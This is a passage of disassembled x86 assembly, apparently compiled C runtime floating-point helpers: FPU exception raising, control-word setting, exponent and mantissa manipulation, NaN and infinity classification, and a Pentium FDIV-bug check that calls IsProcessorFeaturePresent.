loc_42E302:				; CODE XREF: sub_42E230+ACj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42E327
		mov	edx, dword ptr dbl_452858
		mov	dword ptr [ebp+var_28],	edx
		mov	eax, dword ptr dbl_452858+4
		mov	dword ptr [ebp+var_28+4], eax
		jmp	short loc_42E332
; ---------------------------------------------------------------------------


loc_42E327:				; CODE XREF: sub_42E230+E2j
		fld	dbl_452858
		fchs
		fstp	[ebp+var_28]


loc_42E332:				; CODE XREF: sub_42E230+F5j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_28]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_28+4]
		mov	[ecx+4], eax
		jmp	loc_42E403
; ---------------------------------------------------------------------------


loc_42E345:				; CODE XREF: sub_42E230+A6j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42E36A
		mov	edx, dword ptr dbl_452858
		mov	dword ptr [ebp+var_30],	edx
		mov	eax, dword ptr dbl_452858+4
		mov	dword ptr [ebp+var_30+4], eax
		jmp	short loc_42E375
; ---------------------------------------------------------------------------


loc_42E36A:				; CODE XREF: sub_42E230+125j
		fld	dbl_452868
		fchs
		fstp	[ebp+var_30]


loc_42E375:				; CODE XREF: sub_42E230+138j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_30]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_30+4]
		mov	[ecx+4], eax
		jmp	short loc_42E403
; ---------------------------------------------------------------------------


loc_42E385:				; CODE XREF: sub_42E230+B5j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42E3AA
		mov	edx, dword ptr dbl_452868
		mov	dword ptr [ebp+var_38],	edx
		mov	eax, dword ptr dbl_452868+4
		mov	dword ptr [ebp+var_38+4], eax
		jmp	short loc_42E3B5
; ---------------------------------------------------------------------------


loc_42E3AA:				; CODE XREF: sub_42E230+165j
		fld	dbl_452858
		fchs
		fstp	[ebp+var_38]


loc_42E3B5:				; CODE XREF: sub_42E230+178j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_38]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_38+4]
		mov	[ecx+4], eax
		jmp	short loc_42E403
; ---------------------------------------------------------------------------


loc_42E3C5:				; CODE XREF: sub_42E230+C7j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42E3EA
		mov	edx, dword ptr dbl_452868
		mov	dword ptr [ebp+var_40],	edx
		mov	eax, dword ptr dbl_452868+4
		mov	dword ptr [ebp+var_40+4], eax
		jmp	short loc_42E3F5
; ---------------------------------------------------------------------------


loc_42E3EA:				; CODE XREF: sub_42E230+1A5j
		fld	dbl_452868
		fchs
		fstp	[ebp+var_40]


loc_42E3F5:				; CODE XREF: sub_42E230+1B8j
		mov	ecx, [ebp+arg_4]
		mov	edx, dword ptr [ebp+var_40]
		mov	[ecx], edx
		mov	eax, dword ptr [ebp+var_40+4]
		mov	[ecx+4], eax


loc_42E403:				; CODE XREF: sub_42E230+BBj
					; sub_42E230+CDj ...
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_4], ecx
		jmp	loc_42E56E
; ---------------------------------------------------------------------------


loc_42E411:				; CODE XREF: sub_42E230+6Dj
					; sub_42E230+7Bj
		mov	edx, [ebp+arg_0]
		and	edx, 2
		test	edx, edx
		jz	loc_42E56E
		mov	eax, [ebp+arg_8]
		and	eax, 10h
		test	eax, eax
		jz	loc_42E56E
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+arg_0]
		and	ecx, 10h
		test	ecx, ecx
		jz	short loc_42E445
		mov	[ebp+var_8], 1


loc_42E445:				; CODE XREF: sub_42E230+20Cj
		mov	edx, [ebp+arg_4]
		fld	qword ptr [edx]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 40h
		jnz	loc_42E54E
		lea	eax, [ebp+var_18]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, [ecx]
		push	eax		; double
		call	sub_42E8C0
		add	esp, 0Ch
		fstp	[ebp+var_10]
		mov	ecx, [ebp+var_18]
		sub	ecx, 600h
		mov	[ebp+var_14], ecx
		cmp	[ebp+var_14], 0FFFFFBCEh
		jge	short loc_42E4A1
		fld	[ebp+var_10]
		fmul	dbl_43F270
		fstp	[ebp+var_10]
		mov	[ebp+var_8], 1
		jmp	loc_42E53E
; ---------------------------------------------------------------------------


loc_42E4A1:				; CODE XREF: sub_42E230+257j
		fld	[ebp+var_10]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 1
		jz	short loc_42E4BA
		mov	[ebp+var_44], 1
		jmp	short loc_42E4C1
; ---------------------------------------------------------------------------


loc_42E4BA:				; CODE XREF: sub_42E230+27Fj
		mov	[ebp+var_44], 0


loc_42E4C1:				; CODE XREF: sub_42E230+288j
		mov	edx, [ebp+var_44]
		mov	[ebp+var_1C], edx
		mov	ax, word ptr [ebp+var_10+6]
		and	ax, 0Fh
		mov	word ptr [ebp+var_10+6], ax
		mov	cx, word ptr [ebp+var_10+6]
		or	cl, 10h
		mov	word ptr [ebp+var_10+6], cx
		jmp	short loc_42E4E9
; ---------------------------------------------------------------------------


loc_42E4E0:				; CODE XREF: sub_42E230+2FEj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx


loc_42E4E9:				; CODE XREF: sub_42E230+2AEj
		cmp	[ebp+var_14], 0FFFFFC03h
		jge	short loc_42E530
		mov	eax, dword ptr [ebp+var_10]
		and	eax, 1
		test	eax, eax
		jz	short loc_42E509
		cmp	[ebp+var_8], 0
		jnz	short loc_42E509
		mov	[ebp+var_8], 1


loc_42E509:				; CODE XREF: sub_42E230+2CAj
					; sub_42E230+2D0j
		mov	ecx, dword ptr [ebp+var_10]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10],	ecx
		mov	edx, dword ptr [ebp+var_10+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_42E526
		mov	eax, dword ptr [ebp+var_10]
		or	eax, 80000000h
		mov	dword ptr [ebp+var_10],	eax


loc_42E526:				; CODE XREF: sub_42E230+2E9j
		mov	ecx, dword ptr [ebp+var_10+4]
		shr	ecx, 1
		mov	dword ptr [ebp+var_10+4], ecx
		jmp	short loc_42E4E0
; ---------------------------------------------------------------------------


loc_42E530:				; CODE XREF: sub_42E230+2C0j
		cmp	[ebp+var_1C], 0
		jz	short loc_42E53E
		fld	[ebp+var_10]
		fchs
		fstp	[ebp+var_10]


loc_42E53E:				; CODE XREF: sub_42E230+26Cj
					; sub_42E230+304j
		mov	edx, [ebp+arg_4]
		mov	eax, dword ptr [ebp+var_10]
		mov	[edx], eax
		mov	ecx, dword ptr [ebp+var_10+4]
		mov	[edx+4], ecx
		jmp	short loc_42E555
; ---------------------------------------------------------------------------


loc_42E54E:				; CODE XREF: sub_42E230+225j
		mov	[ebp+var_8], 1


loc_42E555:				; CODE XREF: sub_42E230+31Cj
		cmp	[ebp+var_8], 0
		jz	short loc_42E565
		push	10h
		call	sub_42EA80
		add	esp, 4


loc_42E565:				; CODE XREF: sub_42E230+329j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFFDh
		mov	[ebp+var_4], edx


loc_42E56E:				; CODE XREF: sub_42E230+35j
					; sub_42E230+60j ...
		mov	eax, [ebp+arg_0]
		and	eax, 10h
		test	eax, eax
		jz	short loc_42E595
		mov	ecx, [ebp+arg_8]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42E595
		push	20h
		call	sub_42EA80
		add	esp, 4
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFFFEFh
		mov	[ebp+var_4], edx


loc_42E595:				; CODE XREF: sub_42E230+346j
					; sub_42E230+350j
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setz	al
		mov	esp, ebp
		pop	ebp
		retn
sub_42E230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42E5B0(int,int,int,int,int,int,double,int)

sub_42E5B0	proc near		; CODE XREF: sub_42DB00+2Ap
					; .XComp0:0042DB9Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_42E690
		add	esp, 4
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jz	short loc_42E627
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_14]
		mov	[ebp+var_C], edx
		mov	eax, dword ptr [ebp+arg_18]
		mov	dword ptr [ebp+var_8], eax
		mov	ecx, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], ecx
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_42EA40
		add	esp, 8
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4349A0
		add	esp, 4
		test	eax, eax
		jnz	short loc_42E622
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42E650
		add	esp, 4


loc_42E622:				; CODE XREF: sub_42E5B0+64j
		fld	[ebp+var_8]
		jmp	short loc_42E647
; ---------------------------------------------------------------------------


loc_42E627:				; CODE XREF: sub_42E5B0+19j
		push	0FFFFh
		mov	edx, [ebp+arg_20]
		push	edx
		call	sub_42EA40
		add	esp, 8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E650
		add	esp, 4
		fld	[ebp+arg_18]


loc_42E647:				; CODE XREF: sub_42E5B0+75j
		mov	esp, ebp
		pop	ebp
		retn
sub_42E5B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E650	proc near		; CODE XREF: sub_42DBD0+92p
					; .XComp0:0042DD3Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 1
		jz	short loc_42E66E
		cmp	[ebp+var_4], 1
		jle	short loc_42E686
		cmp	[ebp+var_4], 3
		jle	short loc_42E67B
		jmp	short loc_42E686
; ---------------------------------------------------------------------------


loc_42E66E:				; CODE XREF: sub_42E650+Ej
		call	sub_42C1E0
		mov	dword ptr [eax], 21h
		jmp	short loc_42E686
; ---------------------------------------------------------------------------


loc_42E67B:				; CODE XREF: sub_42E650+1Aj
		call	sub_42C1E0
		mov	dword ptr [eax], 22h


loc_42E686:				; CODE XREF: sub_42E650+14j
					; sub_42E650+1Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42E650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E690	proc near		; CODE XREF: sub_42E5B0+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_42E6A6
; ---------------------------------------------------------------------------


loc_42E69D:				; CODE XREF: sub_42E690:loc_42E6C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42E6A6:				; CODE XREF: sub_42E690+Bj
		cmp	[ebp+var_4], 1Bh
		jge	short loc_42E6C9
		mov	ecx, [ebp+var_4]
		mov	edx, dword_452780[ecx*8]
		cmp	edx, [ebp+arg_0]
		jnz	short loc_42E6C7
		mov	eax, [ebp+var_4]
		mov	eax, off_452784[eax*8]
		jmp	short loc_42E6CB
; ---------------------------------------------------------------------------


loc_42E6C7:				; CODE XREF: sub_42E690+29j
		jmp	short loc_42E69D
; ---------------------------------------------------------------------------


loc_42E6C9:				; CODE XREF: sub_42E690+1Aj
		xor	eax, eax


loc_42E6CB:				; CODE XREF: sub_42E690+35j
		mov	esp, ebp
		pop	ebp
		retn
sub_42E690	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E6D0	proc near		; CODE XREF: sub_42DBD0+4Ap
					; .XComp0:0042DCF2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		and	eax, 20h
		test	eax, eax
		jz	short loc_42E6E7
		mov	[ebp+var_4], 5
		jmp	short loc_42E73A
; ---------------------------------------------------------------------------


loc_42E6E7:				; CODE XREF: sub_42E6D0+Cj
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42E6FA
		mov	[ebp+var_4], 1
		jmp	short loc_42E73A
; ---------------------------------------------------------------------------


loc_42E6FA:				; CODE XREF: sub_42E6D0+1Fj
		mov	edx, [ebp+arg_0]
		and	edx, 4
		test	edx, edx
		jz	short loc_42E70D
		mov	[ebp+var_4], 2
		jmp	short loc_42E73A
; ---------------------------------------------------------------------------


loc_42E70D:				; CODE XREF: sub_42E6D0+32j
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_42E720
		mov	[ebp+var_4], 3
		jmp	short loc_42E73A
; ---------------------------------------------------------------------------


loc_42E720:				; CODE XREF: sub_42E6D0+45j
		mov	ecx, [ebp+arg_0]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42E733
		mov	[ebp+var_4], 4
		jmp	short loc_42E73A
; ---------------------------------------------------------------------------


loc_42E733:				; CODE XREF: sub_42E6D0+58j
		mov	[ebp+var_4], 0


loc_42E73A:				; CODE XREF: sub_42E6D0+15j
					; sub_42E6D0+28j ...
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E6D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E750	proc near		; CODE XREF: .XComp0:0042E7E9p
					; sub_42E8C0+ECp ...

var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [ebp+arg_8]
		add	edx, 3FEh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 800Fh
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		or	eax, ecx
		mov	word ptr [ebp+var_C+6],	ax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E750	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		mov	[ebp-4], ax
		mov	cx, [ebp-4]
		sub	cx, 3FEh
		mov	[ebp-4], cx
		movsx	eax, word ptr [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		mov	edx, [ebp+10h]
		lea	eax, [ecx+edx-3FEh]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_42E750
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-4], ecx
		mov	edx, [ebp+0Eh]
		and	edx, 0FFFFh
		and	edx, 800Fh
		mov	eax, [ebp+10h]
		shl	eax, 4
		or	edx, eax
		mov	[ebp-2], dx
		fld	qword ptr [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42E840	proc near		; CODE XREF: sub_422F50+3Fp
					; sub_423170+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_42E859
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E859
		mov	eax, 1
		jmp	short loc_42E8BA
; ---------------------------------------------------------------------------


loc_42E859:				; CODE XREF: sub_42E840+Aj
					; sub_42E840+10j
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42E86F
		cmp	[ebp+arg_0], 0
		jnz	short loc_42E86F
		mov	eax, 2
		jmp	short loc_42E8BA
; ---------------------------------------------------------------------------


loc_42E86F:				; CODE XREF: sub_42E840+20j
					; sub_42E840+26j
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 7FF8h
		cmp	eax, 7FF8h
		jnz	short loc_42E88A
		mov	eax, 3
		jmp	short loc_42E8BA
; ---------------------------------------------------------------------------


loc_42E88A:				; CODE XREF: sub_42E840+41j
		mov	ecx, [ebp+arg_4+2]
		and	ecx, 0FFFFh
		and	ecx, 7FF8h
		cmp	ecx, 7FF0h
		jnz	short loc_42E8B8
		mov	edx, [ebp+arg_4]
		shl	edx, 0Dh
		test	edx, edx
		jnz	short loc_42E8B1
		cmp	[ebp+arg_0], 0
		jz	short loc_42E8B8


loc_42E8B1:				; CODE XREF: sub_42E840+69j
		mov	eax, 4
		jmp	short loc_42E8BA
; ---------------------------------------------------------------------------


loc_42E8B8:				; CODE XREF: sub_42E840+5Fj
					; sub_42E840+6Fj
		xor	eax, eax


loc_42E8BA:				; CODE XREF: sub_42E840+17j
					; sub_42E840+2Dj ...
		pop	ebp
		retn
sub_42E840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_42E8C0(double,int)

sub_42E8C0	proc near		; CODE XREF: sub_42E230+239p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		fld	[ebp+arg_0]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 40h
		jz	short loc_42E8F0
		mov	dword ptr [ebp+var_C], 0
		mov	dword ptr [ebp+var_C+4], 0
		mov	[ebp+var_4], 0
		jmp	loc_42E9EA
; ---------------------------------------------------------------------------


loc_42E8F0:				; CODE XREF: sub_42E8C0+14j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		test	eax, eax
		jnz	loc_42E9B9
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 0Ch
		test	ecx, ecx
		jnz	short loc_42E919
		cmp	dword ptr [ebp+arg_0], 0
		jz	loc_42E9B9


loc_42E919:				; CODE XREF: sub_42E8C0+4Dj
		mov	[ebp+var_4], 0FFFFFC03h
		fld	[ebp+arg_0]
		fcomp	dbl_43F270
		fnstsw	ax
		test	ah, 1
		jz	short loc_42E939
		mov	[ebp+var_14], 1
		jmp	short loc_42E940
; ---------------------------------------------------------------------------


loc_42E939:				; CODE XREF: sub_42E8C0+6Ej
		mov	[ebp+var_14], 0


loc_42E940:				; CODE XREF: sub_42E8C0+77j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx


loc_42E946:				; CODE XREF: sub_42E8C0+C3j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jnz	short loc_42E985
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0+4], ecx
		mov	edx, dword ptr [ebp+arg_0]
		and	edx, 80000000h
		test	edx, edx
		jz	short loc_42E972
		mov	eax, dword ptr [ebp+arg_0+4]
		or	al, 1
		mov	dword ptr [ebp+arg_0+4], eax


loc_42E972:				; CODE XREF: sub_42E8C0+A8j
		mov	ecx, dword ptr [ebp+arg_0]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42E946
; ---------------------------------------------------------------------------


loc_42E985:				; CODE XREF: sub_42E8C0+93j
		mov	ax, word ptr [ebp+arg_0+6]
		and	ax, 0FFEFh
		mov	word ptr [ebp+arg_0+6],	ax
		cmp	[ebp+var_10], 0
		jz	short loc_42E9A2
		mov	cx, word ptr [ebp+arg_0+6]
		or	ch, 80h
		mov	word ptr [ebp+arg_0+6],	cx


loc_42E9A2:				; CODE XREF: sub_42E8C0+D5j
		push	0
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_42E750
		add	esp, 0Ch
		fstp	[ebp+var_C]
		jmp	short loc_42E9EA
; ---------------------------------------------------------------------------


loc_42E9B9:				; CODE XREF: sub_42E8C0+3Fj
					; sub_42E8C0+53j
		push	0
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx
		mov	edx, dword ptr [ebp+arg_0]
		push	edx
		call	sub_42E750
		add	esp, 0Ch
		fstp	[ebp+var_C]
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		sub	ecx, 3FEh
		mov	[ebp+var_4], ecx


loc_42E9EA:				; CODE XREF: sub_42E8C0+2Bj
					; sub_42E8C0+F7j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42E8C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA00	proc near		; CODE XREF: sub_42DD60+171p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	[ebp+var_4]
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EA00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA20	proc near		; CODE XREF: sub_42DD60+349p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	[ebp+var_4]
		fnclex
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EA20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA40	proc near		; CODE XREF: sub_422F50+11p
					; sub_422F50+67p ...

var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		movsx	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		not	edx
		and	ecx, edx
		or	eax, ecx
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		movsx	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EA40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EA80	proc near		; CODE XREF: sub_42E230+25p
					; sub_42E230+50p ...

var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_42EA9D
		fld	tbyte_452880
		fistp	[ebp+var_C]
		wait


loc_42EA9D:				; CODE XREF: sub_42EA80+11j
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42EAB7
		fstsw	ax
		fld	tbyte_452880
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_42EAB7:				; CODE XREF: sub_42EA80+25j
		mov	edx, [ebp+arg_0]
		and	edx, 10h
		test	edx, edx
		jz	short loc_42EACB
		fld	tbyte_45288C
		fstp	[ebp+var_8]
		wait


loc_42EACB:				; CODE XREF: sub_42EA80+3Fj
		mov	eax, [ebp+arg_0]
		and	eax, 4
		test	eax, eax
		jz	short loc_42EADE
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_42EADE:				; CODE XREF: sub_42EA80+53j
		mov	ecx, [ebp+arg_0]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_42EAEE
		fldpi
		fstp	[ebp+var_8]
		wait


loc_42EAEE:				; CODE XREF: sub_42EA80+66j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EA80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EB00	proc near		; CODE XREF: sub_423090+15p
					; .XComp0:00434A75p
		push	ebp
		mov	ebp, esp
		push	30000h
		push	10000h
		call	sub_434A40
		add	esp, 8
		pop	ebp
		retn
sub_42EB00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EB20	proc near		; CODE XREF: sub_42EB80:loc_42EBB9p

var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp+var_18],	80000000h
		mov	dword ptr [ebp+var_18+4], 4147FFFFh
		mov	dword ptr [ebp+var_8], 0C0000000h
		mov	dword ptr [ebp+var_8+4], 4150017Eh
		fld	[ebp+var_8]
		fdiv	[ebp+var_18]
		fmul	[ebp+var_18]
		fsubr	[ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fcomp	dbl_43ED28
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_42EB6D
		mov	[ebp+var_1C], 1
		jmp	short loc_42EB74
; ---------------------------------------------------------------------------


loc_42EB6D:				; CODE XREF: sub_42EB20+42j
		mov	[ebp+var_1C], 0


loc_42EB74:				; CODE XREF: sub_42EB20+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42EB20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EB80	proc near		; CODE XREF: sub_423090+Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 27C0753h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42EBB9
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		mov	eax, [ebp+var_4]
		push	eax
		call	near ptr 27F0281h
		nop
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42EBB9
		push	0
		call	[ebp+var_8]
		jmp	short loc_42EBBE
; ---------------------------------------------------------------------------


loc_42EBB9:				; CODE XREF: sub_42EB80+18j
					; sub_42EB80+30j
		call	sub_42EB20


loc_42EBBE:				; CODE XREF: sub_42EB80+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_42EB80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42EBD0	proc near		; CODE XREF: sub_42A6B0+6CFp
					; DATA XREF: sub_4230D0+21o ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_4243A0
		add	esp, 4
		cmp	eax, 65h
		jz	short loc_42EC30


loc_42EBEA:				; CODE XREF: sub_42EBD0+5Ej
